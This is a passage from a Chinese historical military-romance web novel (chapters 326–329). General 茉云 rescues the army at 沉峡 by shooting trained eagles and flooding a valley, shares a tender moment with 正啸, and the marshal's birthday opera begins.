他来不及转身反击，只以身躯抵挡在元帅身前。就在那只大鹰快要扑到他身上时，它突然发出一声撕裂的尖锐嚎叫。它不顾一切地朝正啸扑来，正啸凭借强大的臂力，虽被它的烈爪所伤，依旧将其奋力甩开。
而那只大鹰居然没有能再次腾空飞起，而是重重地摔倒在地，剧烈地扑腾几下后，竟然不再动弹。
此时，所有人定睛一看，才发现那只大鹰的背后已中箭。箭矢精准地穿透了它，鲜血染红了它的羽毛。
正当人们还未完全回过神时，那只领头的大鹰在空中发出一声极其愤怒的嘶吼，好似宣告着它的失控。
就在这时，高耸的山林中，忽然出现了一道红色的披风。那披风如火焰般迅速从山脉之间划过，带着无比凌冽的杀气，好似一道赤焰闪电，气势如虹劈开了长空。
326.化险
忽然之间，一股熟悉至极的气息扑面而来，正啸心神一震猛然抬头，望向那高耸的山林。山风猎猎林影摇曳，那抹红色的身影如同流火，在密林之间飞掠而出。
是茉云。
正啸的目光紧紧锁住那一抹红影，心中如鼓擂动，而那只陷入狂暴的头鹰竟不顾一切地划破长空，直冲那山林而去，它的嘶吼如撕天裂地，惊得飞鸟四散，连山林的回音都好似轰鸣。
可就在一瞬，茉云骤然停驻，现身于一块山石之巅，身形挺拔如松，宛若惊鸿立崖。她的脚下山风怒卷着衣袂翻飞，她却纹丝不动，只见她眼神冷峻的瞬间抬弓，顿时利箭汇刃弓弦轻鸣，一箭破风而出！
那箭直指黑鹰，箭羽如霜刃一般，可是那鹰竟身形一折，瞬晃过了这一箭，发出一声嘶哑的吼声，俯冲而来。
然而，就在此刻，茉云嘴角微扬，神情带着一丝冷意与轻蔑，它已经进入自己的精准射程，她瞬间飞速取箭，动作快如闪电。弓弦再度拉满，这一箭的箭尖银光汇聚，气势仿若雷霆破云卷动山风！
“嘣——！”
一刹那，拉满的弯弓轰然松弦，箭矢如流星划过，带着毁灭性的气势直扑而下。黑鹰已来不及再避，这一箭封死了所有退路，俯冲的身躯再无回转之机，箭如雷霆精准击穿其羽翼！
它在半空挣扎惨叫，最终如破布般坠地，重重落在了茉云身前。高空顿时陷入死一般的寂静，失去了首领的巫鸟群好似被斩去了意志，惊慌失措地四散飞窜。
茉云跳下大石缓缓走近那只黑鹰，目光复杂地深吸了一口气，忽然扯下自己身后的披风，轻轻盖在它的身上，蹲下低声地说道：“鹰击长空，本是孤傲凌然于世的王者，为何要被人如此操纵利用，来干这些？”
良久后，她才缓缓起身，依旧衣袂飞扬，站在崖巅再次俯瞰战场。
而此时的正啸，早已恢复了冷静与从容，目光如炬看向前方，他的声音在战场上激荡着：“弩弓手，再压一排！骑射兵站两翼！”
随着他的指令，罗虎的骑射兵已稳住阵脚，纷纷就地拉弓瞄准。鹿里的弩弓营亦调动精密阵列，前后左右协作无间，箭雨如倾，密不透风。
天空中尚存的巫鸟和地上的猛兽皆再无斗志，被这交织的箭雨逼得鸟兽四散，仓皇而逃。短短一炷香的时机，战局彻底逆转。
而正啸并没有丝毫松懈，他立于阵前，目光深邃凝视着前方那蜿蜒的山路。此地，地势险峻，若这沉峡曾是铸造之地，而峑戎素来善用火器，眼下看来此处——无疑是完美的火攻之地。
正啸心中顿时警觉，他立刻抬手，挥剑下令：“诸将小心！保持警觉，严阵以待！”
然而，就在此时，远方的山路上传来了急促的马蹄声，几乎刺破了山道的寂静。所有将士都瞬间警觉，迅速拔剑上马，做好迎战准备。
正啸亦是目光如电，镇定自若地指挥道：“准备迎敌！”
可话音刚落，遥望山路可见的尽头处，群马奔腾而来，宛如一团汹涌的黑云。战马惊叫四起，飞奔的速度惊人，敌人竟然将火药绑在马背上，点燃了长长的引线，显然意图让疾驰之马带着火药闯入卢家军中，正啸旋即举剑，便要带队前去阻挡。
就在此时，一声震耳欲聋的吼声从山林的远处传来，是茉云的声音：“罗虎，记得当日我怎么救你老婆的吗？”
这一声吼，犹如惊雷炸破，罗虎顿时愣住，眼中闪过一抹疑惑看向正啸。
而正啸顷刻转头，迅速下令道：“全军下马！放马出谷！所有人前往高地，找掩护！抓紧！”
就在这一刹那，山顶突然传来一声轰隆巨响，震耳欲聋。山顶积水所成的湖泊被炸开了缺口，滔天的水流如决堤的洪水一般，一泻千里，激流扑向下方的山谷。
水势之猛，犹如山洪暴发，在前方直泻而下，瞬间吞噬了所有崩腾而来的战马，即将引爆的火药和引线全数被浇灭。
山谷中的惊慌声此起彼伏，众将士还未反应过来，整片山谷被大水冲刷，水亦往更低的山谷中泄去……
待到水势过了，茉云的身影忽然出现在山顶一块大石上，她一脸悠然自得，嘴角带着玩味的笑意，俯瞰着下方的一众将士，清脆的声音随着风传来：“冲啊！”
众人抬头看向茉云那一副嬉皮笑脸的模样，正啸亦无语地看了一眼她，然后迅速率领所有将士冲入沉峡内城！战斗的气势瞬间爆发，敌人严密的防线被迅速突破，再无反抗之力。
正啸亲自率领着精锐，几乎没有给敌人任何反击的机会，攻入城内迅速占领，然后四下搜捕敌方统帅。很快就将篡位的国主和王室家眷、亲信臣子一一捉拿，皆被押解回军营。
一路上，正啸都没有看见茉云的踪迹，回到营地，他依然未见茉云的身影，不免心中焦虑。
正啸把元帅送到白神医的营帐里，白神医细心查看之后，确认元帅只是外伤，并未伤及眼睛，众人才稍稍放下心来。
元帅目光瞥向正啸，质问道：“你还在这干嘛？你能医我吗？去看看茉云到哪儿了，那丫头怎么还没回营？”
正啸心头一紧，元帅的话将他的焦虑推向了顶点。他几乎没有犹豫，便起身准备走出营帐，然而，正当他迈步之时，营帐的门帘忽然被掀开，茉云一脸气定神闲的地走了进来，浑身散发着一股威武的气息。
众将转过身看向她，茉云眨了眨眼，嘴角带着几分顽皮，指着众将身上的湿漉漉的衣服，嬉皮笑脸地说道：“呀，兄弟们，怎都这般狼狈啊？”
威行立刻笑出了声，调侃道：“这得谢谢谁呢？”
茉云迅速转向元帅，依旧笑意盈盈：“只有咱元帅还是这般威武，脸上受了伤，气度依旧如此不凡。我一直很遗憾，未见过老卢帅的尊容。你们说就卢老太君那长相，她儿子卢帅竟如此英伟，那老卢帅岂不是要长得比关若辰还好看？”
“扑哧”顿时营帐内哄堂大笑。卢帅亦忍不住畅然而笑，脸上的伤口被扯得生疼。
白神医见状，亦笑着说道：“元帅有伤，你就别逗他笑了。”
卢帅挥了挥大手，笑得依旧豪气干云：“无碍！看见茉云回营，本帅就开心。”
此时，正啸站在一旁，望着茉云那轻松无畏的身影，心中难以言喻的情绪升腾而起。顷刻间所有的紧张与不安，在这一刻似乎都被茉云的笑容化解。只剩心跳突然变得异常急促，好似自己都听得见胸膛中剧烈跳动的声音，失控而猛烈。
茉云亦看到正啸的目光，神色略微一愣，旋即灿然而笑，眸子里闪烁着一丝温柔的光芒。两人四目相对……
威行却好似什么都没有察觉，目光里带着几分好奇的问道：“你刚刚为何会在那儿？”
茉云瞬间收回了目光，轻描淡写地从兜里拿出一个饼，边吃边不紧不慢地说道：“萧小王爷和王强都飞鸽传书来说，你们可能要出状况了……而且，我也不是刚刚才来的，我入沉峡都两天了。”
罗虎瞪大了眼睛，脸上显出几分愤怒，忍不住提高了声音：“方茉云，那你定早就知道那是陷阱了？”
“不然呢？”茉云依旧是一副风轻云淡的模样
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，边吃着边走向茶壶。
罗虎顿时火冒三丈，咆哮道：“方茉云，你知道那是陷阱，为何不说，还让我们去闯？”
茉云一副理所当然的模样，端起茶壶慢条斯理倒着茶，嘴角含笑悠然地说道：“哦，师兄，你意思是我跟你们说，让你们都别去，然后我一个人去把他们都逮了？我傻啊？”
罗虎气得几乎要喷出火来，指着茉云，愤愤不平地说道：“昔日在中州，她就老拿师兄做饵！她这人简直是……恶毒至极！”
茉云一脸不为所动，从容坐下品着茶，脸上绽放出灿烂的笑容：“师兄何须如此气急败坏？在座的诸位，谁都不是第一天认识我。”
威行瞬间接过茉云的话说道：“就是，这次，人家不过拿少帅和我们引了那些东西出来，自己射了那鹰，她还没有拿箭直接射少帅呢！她人品还变好了点！”
顿时，营帐中再次爆发出一阵哄堂大笑。连元帅也忍不住捧腹大笑，眼中满是宽慰与愉悦。
正啸则深深看了茉云一眼，他并未言语，但他心里清楚，茉云定然是接到了飞鸽传书，便日夜不休地赶到此处，单枪匹马深入沉峡，不仅发现了敌人的阴谋，还当机立断去化解这危机。她肯定是潜入了他们的兵器仓库，盗取了火药，并将其埋伏在山中，准备了这场绝妙的反击。这一切看似水到渠成，实则置身险地九死一生。
白神医看着元帅的伤势，温和的笑着说道：“元帅，您也需要好好休整一番，诸位不如也先回营换身衣裳。”
他说完，众将自然明白白神医之意，他想让元帅好好养伤，众人纷纷点头，告退离开。
走出营帐，白神医转向正啸，语气关切的说道：“你肩上的伤势要不要紧？”
正啸随意地地说道：“无碍，皮外伤罢了，等下我自己上点金创药就行。”
话音未落，不言看着马上说道：“鹰爪地伤不可小视，还是得先用酒，清洗一下再上药，这个还是师傅或者我……”
然而，他的话还没说完，就被白神医拉着走了……
正啸转过身时，眼神定定地望向茉云，神情依旧冷峻的说道：“你跟我来。”
茉云嘴里咬着饼，听到正啸的命令，随意应了一声：“哦。”
威行见状，忍不住笑着打趣道：“又要挨骂了。”
茉云则无语的白了威行一眼，跟着正啸走进营帐。此时，帐内只剩下他两，气氛顿时变得微妙而安静。
茉云看向正啸，轻轻地说道：“你将盔甲脱了，我帮你上药。”
正啸没有多言，默默照做了。他脱下盔甲，静静地坐在椅子上。茉云目光落在他身上的三道深深的鹰爪伤痕，伤口处鲜血已经渗透到衣裳上，染湿了布料。只是他总穿着黑色衣物，伤口的鲜血从不显眼……
她轻轻地拿起酒杯，倾斜了些许，酒液缓缓洒向伤口，瞬间酒精的刺痛定是带来了剧烈的疼痛。可正啸只是手臂握紧，身体却连微微颤动都没有，依旧坐在那里，好似早已习惯了这种痛楚。
茉云看着正啸如此一动不动忍着疼，心中不由得五内翻腾，他受过太多伤，好像都不知道痛了……茉云轻轻吸了口气，忽然从背后伸出双臂，悄无声息地抱住了他。
正啸微微一愣，顿时感受到背后袭来的温柔，突如其来的暖意让他整个人都不自觉地放松下来。
他伸出手将茉云拉入怀中，四目相触的瞬间，他俯身而来，抬手扶住她的后脑勺，吻了下来，一时间帐内万般皆寂静，将所有未尽的言语和思念都淹没在此刻极尽温柔的吻里……
327.爱恨
这一瞬间，好似所有的痛楚都在这一刻消散，唯有彼此的温度和心跳交织在一起，深深地融入彼此的心。
良久之后，正啸终于松开了茉云，两人的四目相触，正啸伸出手，轻轻地将茉云鬓角处的灰尘擦去，轻声说道：“自己去将那对鹰埋了？怎不叫万莫去帮忙？”
茉云的眼中闪过一丝复杂的神色，随即轻叹一声说道：“我亲手结果了它们，亲手给它们一个死后能同穴的地，亦是应当的。”
正啸深吸一口气，望向她的眼神更加柔和了几分，他知道茉云，素来喜欢刚烈的动物：“它们走，也算是自由了，让它们少做些恶，日后也少受些苦。”
茉云听后深深吸了一口气，嘴角轻轻瘪了瘪，望向正啸深邃的双眸问道：“那大老鹰为何要如此被裹挟，去做这等傻事？”
正啸知道茉云真正要问的是什么，她心中为这些被操控的生命感到惋惜，但是也想质问自己，为何被胁迫明知是陷阱还要来。
正啸嘴角微扬的轻轻说道：“大老鹰的爷爷一生就受尽了胁迫，他爹也是，难道到他这儿，那些人就变得慈眉善目了吗？”
茉云顿时忍不住轻轻笑了出来，原本那份沉甸甸的情绪被正啸的话语轻轻化解。茉云轻轻起身，拿起桌上的金创药，小心地撒到正啸肩头的伤口上，动作异常轻柔。
再为他裹好棉布后，茉云又拿起他的衣裳为他穿好，动作缓慢而柔和。
忽然，她深吸一口气，低声说道：“你让不言来跟我说，老影……可能会毁了西宁都城来报仇，结果……他真的要这么做。”
她的声音很轻，却像重锤一样敲在心上。正啸微微一愣，静静看着她，听她继续说。
她垂下眼睫叹息道：“幸亏你提醒我，我让奇能偷偷盯着他。他还是动手了……可最终他去找老乐和他妻子了……他们说，老影最后一刻，没有发疯和绝望。他反而是坐下来说，自己已经尽力了……也不用再挣扎了，也算是……解脱了。”
正啸静默了许久，随后深深吸了一口气，将她轻轻拉到怀里，让她坐在自己腿上。
他望着她，目光中带着一股难以言喻的疼惜：“有些人，经历了人世间最苦的痛之后，心里的执念是无法化解的。恨，有时候，就是如此强大。”
茉云闭了闭眼，终于没再开口。她是真的累了，不仅是身体上的疲惫，更是心上的沉重。那些挂在心头的名字，终归一个个远去了。
她靠到正啸的肩上，透过薄衣能感受到他炽热的体温，此刻终于感到一丝安稳和温暖，渐渐沉入睡意，呼吸也变得绵长。
正啸低头看着她，眼中浮现出一丝怜惜。他一动不动地抱着她，感受到她温热的呼吸洒在自己胸口，瞬间安抚了自己的焦灼和不安。可渐渐，他心底沉积了太久的思念，此刻如细弦般被缓缓拨动，变作撩拨心弦的乐音，拨得自己体内每一条血脉好似都在悸动喷张。
可他望向怀里如此疲惫的茉云，他一寸都没有动。只是让她靠着，沉沉地安稳地睡下去。如果她所有的疲惫、辛苦和委屈，都能在这一刻在自己的怀里，一点一点地消减就好。
也不知过了多久，门外传来脚步声，有传令兵在外低声禀道：“禀少帅，元帅已醒，下令明日一早开拔回司融都城。”
正啸这才低头看向怀里的茉云，她还在熟睡，他轻手轻脚地将她抱起，放到自己榻上，为她盖好了被子，替她理了理鬓角的发丝，正啸才起身，系上披风走了出去。
帐外，众将士早已候着，站得笔直，却谁都不敢掀帘进去。见正啸出来齐齐行礼。他扫了一圈众人，目光中透着一丝无语，但也没有说什么。
他转身带着诸将进入主营，听取了白神医与不言关于伤员的详细报告，又安排了次日回城的调度与兵力配置，一切井然有序。
元帅靠坐在营榻上，听完他的布置点点头，端过桌上的药问道：“诶，茉云呢？”
正啸平淡的回答道：“她应该是不眠不休地赶来，现下去休息了。”
元帅点点头，摸着胡须看向王强，眯眼道：“是你让茉云来的？”
王强一脸老实的傻笑着点了点头。
这时震北也跟着开口：“幸亏茉云及时赶到，不然……”
正啸则顿时语气冷峻如刀望向王强训斥道：“再有下次，擅自传信，就当泄露军情论，腿都打断你的！”
“哐——”一声，王强扑通跪下，脸上写满了，谁都惹不起，求生不得的悲壮……
元帅顿时一口药都差点没咽下去，咳得连连，气得指着正啸说道：“泄露什么军情？茉云就是我卢家军的重要将领！”
正啸却毫不退让，剑眉一蹙，沉声回道：“父帅，卢家军军纪之中，从没有上级军务，向下级汇报这一条。”
元帅气得指着他，指了半天，硬是没找到反驳的词，只能狠狠瞪他一眼，重重地哼了一声，转头灌了一大口药汤，借此平息怒火。
而王强，此刻跪在地上，双眼中尽是无奈，自己真是里外难做人。
萧怀逸则静静地看着正啸，眼神微敛，他明白正啸对王强的斥责，看似苛严实则是他不愿茉云以身犯险。但萧怀逸此刻忽然想起关若辰曾说过的一句话——只要有茉云在，正啸总能化险为夷，反之亦然。
彼时他不以为意，甚至嗤笑。可眼下再看，却不觉心头一动，局势惊险万分，自己都不得不求助于她，而她确实能拼尽一切生出一条生路。
他终于相信了，也认了。
若真如老太君所说，于卢家而言，有这么一人，既有心又有谋，肯刀山火海地陪他闯，风里雨里并肩走，那其余的又有什么重要？
就在此时，元帅将目光转向一旁的鹿里，朗声道：“今日鹿里骑弩兵当记首功！临危不乱、阵法得当、克敌有方，本帅要重赏你们全营将士！”
鹿里随即起身行礼，恭声说道：“元帅谬赞了，末将和骑射营都不敢居功。”
诸将都看了过来，对鹿里率领的弓弩兵今日的表现都心服口服，若不是他们营的弓弩兵在危难之际，上前压阵，当机立断挡住了猛兽的第一波进攻，后果不堪设想。
元帅满面欣慰，看着鹿里笑着问道：“你们这阵法行云流水、配合缜密，是如何想出来的？本帅也是头一回见你们这般打法，既迅捷，又不乱阵脚。”
鹿里闻言，顿了顿，脸上露出一抹敬意，坦然答道：“回禀元帅，并非末将所创。这战法，实是茉云将军所授。之前，她曾带过末将的骑射营一段日子，专门操练了此相互协攻之阵，并说过若是日后遇上成群猛兽之敌，可用此法压制冲势。”
话音落下，帐中顿时一静。众人不由自主地看向鹿里，又彼此对视了一眼，眼中都透着一丝惊讶——竟是茉云早有布局。
润吉感叹的说道：“方将军就是厉害！”
元帅也笑了点点头，眼中尽是欣慰和赞许，茉云从来都是卢家军的一员福将。
黄昏之时，军帐外炊烟袅袅，晚膳之时茉云打着个哈欠，揉着眼角，一脸睡意地悠悠走来。
这些日子，她心一直是悬着的，如今敌平人安，她终于觉得浑身困乏了。可一坐到膳桌前闻着饭香，她顿觉饥肠辘辘。于是也不多言，直接拿起筷子便埋头大快朵颐，吃得那叫一个专注，好似这世间再无旁物能比眼前这碗饭更重要。
众人见状也都
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只是乐了，早已习惯她这贪吃的模样。
但此刻，萧怀逸看向她，目光里仍满是难以掩饰的嫌弃之色，但他皱了皱眉，还是开口问道：“方将军。”
茉云头也不抬，只含糊地“嗯”了一声，嘴里还咬着一块饼。
“在下好奇，您为何会在训练鹿里将军骑射营时，设计出一套击退猛禽之战法，专门针对猛兽奇袭？难道你有未卜先知之能？还是你早已得知敌军有这类兵种？”
他的语气平静，却带着试探，眼神中那点怀疑任谁都能看出来。元帅闻言，顿时拿筷子的手停住了，无语地看了萧怀逸一眼。
茉云却依旧风轻云淡，抬起头，慢悠悠地咽下嘴里的食物：“我猜敌军是有。”
“你如何猜到？”萧怀逸继续问，似乎就想听个明确说法。
茉云喝了一口汤，语气还是那般云淡风轻：“我看过朝档，上奏圣上的那份战报，说老卢帅是如何战死沙场的。战况惨烈，一队人马无一人生还，据后来赶到的黄将军上报之奏疏所言——老卢帅，全队阵亡，剩下找到的生还之烈马亦双目尽盲，遍地踩踏痕迹，但战场无明显打斗，老卢帅怀中有一黑羽……之后，朝中之人众说纷纭，视其为不详或中邪。”
她说到这里，元帅和正啸都不禁抬头望向了茉云，眼中皆闪过一丝恍然，当年老卢帅难道亦是遭遇了……
“我查了很多近年战报奏疏都未曾有过这样的描述！敌人定是清理了战场。”茉云顿了顿，继续补充道：“可叹黄将军当时已离世，我亦无法细问，但什么不详中邪绝对是无稽之谈！老卢帅一生骁勇善战，果决不弃，到最后一刻他绝不会简单赴死，定会拼尽全力为后人留下线索，让卢家军不会重蹈覆辙，终有一人能平定边关。”
众人听了这番话，都不禁面露讶色，然后皆默默点头，心中都是无声而深沉的崇敬。
“你为何不早说此番猜想！”萧怀逸亦吸了口气看向茉云继续问道。
“我只是猜想，当年我在西南部落曾呆过几年，成群猛兽袭击牧民羊群我见过，但并非这等巫者人为驯化的恶兽，这次潜入沉峡，我亲眼所见之时，自己都吓了一跳。但之前，我总觉得我既然有此猜想，军里应该有个应对之策，故而我就设计了此战法，以防万一。”茉云咬着饼若有所思的感叹道，“现在想来肯定是……老卢帅在天之灵保佑卢家军，让大家有惊无险！”
元帅顿时咬紧牙关，想起自己父帅的英姿，一度哽咽着点点头。
众人都沉默了片刻，执礼他们望向茉云，即便是老卢帅在天护佑，也有茉云用心守护之功，卢家军和老太君不止一次，怀疑过老卢帅的阵亡，可是终究没有查出真正的个中缘由，只知他是遭受伏击，全队阵亡。
而方茉云却想到了此，她绝不会让正啸重蹈覆辙，她亦从来不会放过正啸身边任何一丝危险……
萧怀逸在这一刻，淡淡的嘴角上扬，眼底生出几分释然的敬意说道：“嗯，方将军，属实厉害，让一切化险为夷！”
他的声音虽平淡，却让众人下意识地抬起目光，望向他。东山和执礼不约而同地交换了一下眼神，嘴角微微扬起，透出一丝若有所思的笑意。要知道，萧怀逸素来是最瞧不上茉云的……
茉云的眉尾轻轻上扬，淡然而笑，可她的眼中透出一丝恍惚，好似这一瞬间，过往的一切，匆匆而过，自己和他经历了这么多的风风雨雨，每次都是险象环生，最后一刻化险为夷……
恨，确实异常强大，足以让人迷失，足以摧毁一切。
然而，她心底这股温暖力量——爱一个人，原来也让自己变得如此强大，万难万苦，一程一程，甘之如饴，他在便安。
328.克制
片刻沉思后，茉云眉尾一挑，脸上浮现出一抹俏皮，嘴角轻扬地说道：“萧小王爷谬赞了，您也是精明之人！将事情原委和周边地势都在我来的路上，命人告知我，哪像王强这个草包，飞鸽传书给我，信上就写了九个大字，‘元帅和少帅要去送死！’”
说完，茉云忽然抬手，手中筷子便像飞刀一样扔向王强，王强瞬间抱住了头，躲到了桌下：“哎哎哎，我当时急坏了，哪儿想那么多啊！”
茉云则一脸调侃地说道：“我当时接到那信，完全摸不着头脑，军里发生了何事？他们为何要去送死？我只听说有一个貌美如花的西宁公主来到了军营，我还纳闷呢，我都没有把元帅和少帅逼疯，那公主竟然如此能耐，能让他们不想活了？这不应该啊！”
营中顿时哄堂大笑，紧张气氛好似被这瞬间冲散了，大家也渐渐放松了下来。
此时，营帐外突然传来了一声通报：“报告元帅，接到老太君今日从司融都城发来的飞鸽传书。”
执礼迅速走上前，接过信件，拆开一看，随即抬头看向元帅：“老太君说，接到了旨意，新国主这两日就要回到司融都城，典王爷亦奉旨参加新国主继任大典，四方盟国皆会派人前来参加此盛典。老太君交代，元帅和少帅拿下沉峡之后，火速赶回都城。”
元帅的眉头微微蹙起，眼中闪过一丝疲惫与无奈，但他并未多说什么。
众人皆知，老太君远在都城，根本不知道众人几乎是在鬼门关前走了一遭。何况圣上呢？旨意来了，他们只能照做，这就是为臣的艰难，谁又能体恤卢家军的苦呢？
正啸听了旋即起身，语气恳切的说道：“父帅，您伤在身，还是我和萧王爷先回都城吧。”
元帅立刻站起身来，拍了拍身上的袍子，语气坚决的说道：“这点小伤不足挂齿！我们一同回去，等下别让那些朝中的小人又絮絮叨叨，说什么将帅在外不遵皇命，我懒得和他们废话，立刻准备出发！”
正啸随即下令，调拨了一队人马，准备随他和元帅回司融都城。剩下的队伍则待伤员修整一夜，明日再行出发。
元帅转头看向茉云，语气柔和的说道：“茉云，你随本帅一起回司融都城，来之前，老太君刚提到过，甚为挂念你。”
茉云打着哈欠，疲倦地说道：“元帅，不如让我好好休息一夜，再回都城吧，我属实太困了。”
元帅看着她疲惫的模样，关切的点点头：“那也好，你先休息一夜，明日再回司融都城。”
正啸旋即转头看向沧海：“沧海，那你留下来率领大部队，明日一早启程回都城。伤员颇多慢行即可。”
沧海立刻抱拳领命：“是！”
正啸深深看了沧海一眼，眼中带着一丝无声的嘱托，意思十分明确——要看住茉云，别让她乱跑。沧海眼中闪过一丝无语，但亦点了点头，执礼则忍不住乐了。
不到半个时辰，众人整装待发。正啸在自己营帐中，转身看向茉云，语气带着几分郑重的说道：“不要乱跑，明日随队回司融都城。”
茉云看着正啸，并没有立即回应，眼神中带着一丝思虑。正啸忽然间一把抱住了茉云，将她轻轻按在自己怀里，低头看着她的双眸。
“答应我！”他声音低沉，充满了不容质疑。千山在一旁，见状愣了半刻，旋即疾步走出了营帐。
茉云半刻后才晃过神，感受到他身上那股温暖的气息，无语的说道：“知道了，不会乱跑，明早跟大部队回营。”
正啸才松了口气，沉默片刻，依旧不放心地下令道：“万莫，也留下来，随大部队回营。”
茉云顿时没好气地白了他一眼，心中不禁有些纳闷，这家伙总像有一双火眼金睛，能看穿自己的想法。她本想着趁此机会去探探峑戎……
正啸和元帅连夜出发，日夜兼程赶回了司融都城。一路上的风尘仆仆，两人都未曾有片刻休息。与此同时，若辰和何友也已奉旨赶到司融。
老太君、魏副帅和他们听了执礼汇报了整个攻下沉峡的过程，都万分震惊。然而，此刻没有时间商议其他，翌日，新国主即将回都城，众人只能忙于眼前事务。将城中的旧势力一扫而清，然后稳定住司融都城的全城治安。
司融随着新国主复位，迎来了诸多友邦的贺仪，还有一众国事，圣上旨意让一众官员和卢家军协办，一系列繁文缛节让正啸都感到不免心烦。
沧海带领大队在三日后才回到了都城。大军驻扎在城外，他进城复命，茉云却未进城，而是留在了军营中。
执礼隐隐觉得有些不对劲，茉云素来是最喜欢热闹之人……趁着沧海带着诸将来正啸书房汇报军务，他询问道：“茉云当真是回营了吗？”
沧海一脸笃定地回答：“回营了。”
执礼眼神中闪过一丝疑惑，茉云怎可能是那种因为一时的疲惫，不进城吃吃喝喝之人……她居然在军营待着，实在不符合她一贯的性格。
正啸看着军务文书，一脸的冷峻并未言语，而此时坐在一旁的若辰问道：“她素喜热闹，怎不进城来见见老友，感受一下都城繁华。”
此时，站在沧海身后身后的小马接过话茬，笑着回禀道：“启禀关大人，方将军问万莫，那西宁公主来找少帅求情了？万莫如实说了，夜里，西宁公主来找少帅，少帅和西宁公主聊了一会儿天，然后就让西宁公主早些回去歇息了，因为她穿得很少，有些冷。”
正啸浏览军务文书的眼神忽然停住了，众人听到此，顿时皆忍俊不禁。
小马继续笑着说着，“然后方将军说，那她还是留在军营，免得太过呱噪，打扰少帅和公主聊天。”
“扑哧——”瞬间，众人哄堂大笑，气氛一下子轻松了许多。千山转身瞪着万莫，忍不住对着他的头就是一下。
万莫摸着头，表情茫然又无辜的看着千山问道：“咋了？”
众人笑得更加开心，正啸没有多言，低头继续处理手中的事务。但是此刻茉云留在军中，不进城倒是好的，至少能安心修养几日。
黄昏之时，若辰的夫人季岚也已到达，她备了贺礼而来，晚上陪着老太君一起用膳。
老太君见到季岚甚为开心，但是想着又忿然的说道：“茉云那丫头，就没你半分懂事。”
她的话语有些许不满，眼睛微微瞥向正啸。
执礼笑了小声回道：“老太君，要不明日我命人去传令，让她来见您？”
正啸听到这里，眉头一挑，迅速说道：“如今城中繁文缛节甚多，让她呆在军中挺好，免得闯祸。”
“过几日就是你爹六十大寿，她也不用来给你爹贺寿吗？”老太君目光一瞪，瞪向正啸质问道。
元帅则笑着大手一挥，说道：“诶，娘，咱不在意这些虚礼，啸儿说得没错，这些忙忙叨叨的事，茉云丫头那个性，也容易被人拿住把柄。”
老太君忍不住忿然地说道：“对，她是个宝贝，让她呆在军中自由自在的过，让我这把老骨头在此累死累活。”
卢老太君虽然话中带着火气，但在场之人都能感受到，卢家对茉云的看重。卢帅六十大寿确实就在这几日，典王爷亲自带来了圣上极为厚重的封赏，卢帅在朝中本就地位非凡，谁都知道圣上自年轻之时，便对卢帅极为信赖和看重，毕竟他本就是圣上的大舅子。但卢家人素来低调，从不轻易宴请宾客，过寿通常就是家人一起吃碗寿面。
司融国主知道了此事，坚持要派遣从京城带回来的戏班，来为元帅贺寿。卢家军向来不和他国王室有太多交情，但是典王爷劝说：“既然是盛情难却，恭敬不如从命。”
元帅自然不会违背了王爷之意，毕竟典王爷是带着旨意来的，于是老太君命人在他们院内设
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宴，并邀请了典王爷赴宴，萧怀逸和若辰等人陪同，也算全了礼节。
典王爷自然是欣然赴宴，他虽兴致高昂，但酒量确实不佳，吃了晚宴后便告辞回去休息了。
晚膳过后，众将陪同元帅，来到小院中搭的戏台前，卢家一向谨慎，即使是六十这样的大寿，也小心翼翼地保持着一份警觉，诸将随行，略微放松一下心情，也算是为卢帅贺寿了。
而正啸回到自己房里，夜幕渐渐降临，夜空如墨，星光稀疏而冷清，房内只剩下微弱的烛光摇曳，正啸坐在案前，刚刚宴席上，典王爷和老太君都提到了茉云……
他微微松开颈脖的衣襟，目光不自觉地移向窗外，仰望着漆黑的天空，也许是酒意使然，他不能否认，自己此刻心头的思念如潮水般汹涌澎湃，席卷了全身。自己明明骑马只要一炷香的时间便能见到她……
可如今城中纷扰不断，四方势力的眼线遍布每一个角落，复杂的朝局也令人心生忧虑。西宁被破，西宁国主最终亲手结束了自己罪恶的一生，朝廷出了一口恶气，西南部落的困局也随之解开。而茉云，亦按照圣上的旨意，将西宁归还给了西宁王室中一位神志清明，而且能与朝廷重修万世之好的新国主，避免了西宁的亡国之灾。
看似万般皆好，可这一切唯一对她而言可谓是毫无益处？且不说她本不在乎功赏，她如今在短短时间内，带领西南部落的散兵游勇，打下西宁的第一大国，圣上和朝廷会如何看待她？
自己不用想都知道，朝中有些人定会在圣上面前非议她，渲染其能耐，夸大其野心，而圣上会如何看待她呢？他会相信吗？她所做的一切，只是为了卢家军和自己扫清掣肘，也仅是为了回报当年收留的恩情……晚宴之时，典王爷话里话外好似都透着点拨，暗示着此时无论如何要低调！
而且，除了朝廷之外，正啸心里也清楚，老太君想见茉云，不只是挂念她，定然是想问老卢帅之事，自己亦做梦都想查清爷爷阵亡的真相，可他也知道，此事若追查下去，定然会揭开更深层次的秘密，而现在，不论是朝廷还是卢家军，都无法面临如此复杂的局面？而这一切只会让茉云陷入更大的漩涡。
正啸深吸一口气，心中那股强烈的思念愈加无法抑制，但他此刻唯一能做的就是让她暂且远离这些权谋和纷争。
就在此时，门外忽然响起一阵急促脚步声，旋即门被猛地推开。
是震北带着一身酒气闯了进来，一把就拉住正啸胳膊，笑着说：“老太君都说了，今儿是什么日子？你还在这儿看什么公文！”
正啸眉宇微蹙，还没能来得及开口……
震北已趁着酒劲，半拽半推地将他从书桌前拉起：“今日是父帅六十大寿，你得尽尽孝，再不喜欢看戏，也要陪父帅！”
正啸没再多言，他自小严谨克制，平日里他看戏，可谓是闻所未闻，但今晚是父帅的六十寿辰，他起身说道：“走吧。”
震北一乐，重重一拍正啸的肩膀：“这就对了嘛！你若不去，这群将军们也都心里打鼓。”
夜风微凉，戏台前已然灯火辉映，满院之人笑语低回，享受行军之中片刻轻松时光，角色登台，戏也要开始了。
正啸随震北走入院中，坐到元帅身旁，众人不禁望向他，皆知他不爱看戏，元帅看向他倒是也乐了，说道：“这倒是为难我少帅了，你速来只喜看军务，不喜看戏！”
“他今晚不是少帅，只是一个陪着父亲过寿的儿子。”老太君笑着指着戏台说道，“行了，戏开始了。”
众人都望向了戏台，正啸则一脸温和的拿起酒壶，给元帅将杯中斟满，放下酒壶之时，眼神不经意地淡淡扫过戏台。
然而，当眼神掠过那位唱腔婉转、身姿轻灵的花旦，他的目光骤然一凝——心头似被什么击中，瞬间回不过神来，一刹那，几乎忘记了呼吸……
329.愉悦
夜色深沉，灯火映红了戏台，帷幕轻扬丝竹之声悠然入耳。台上的花旦一袭红裳绣云霞，罗裙曳地步步生姿，一步一转袖影轻遮。眼波流转间，婉转于明艳与娇媚。
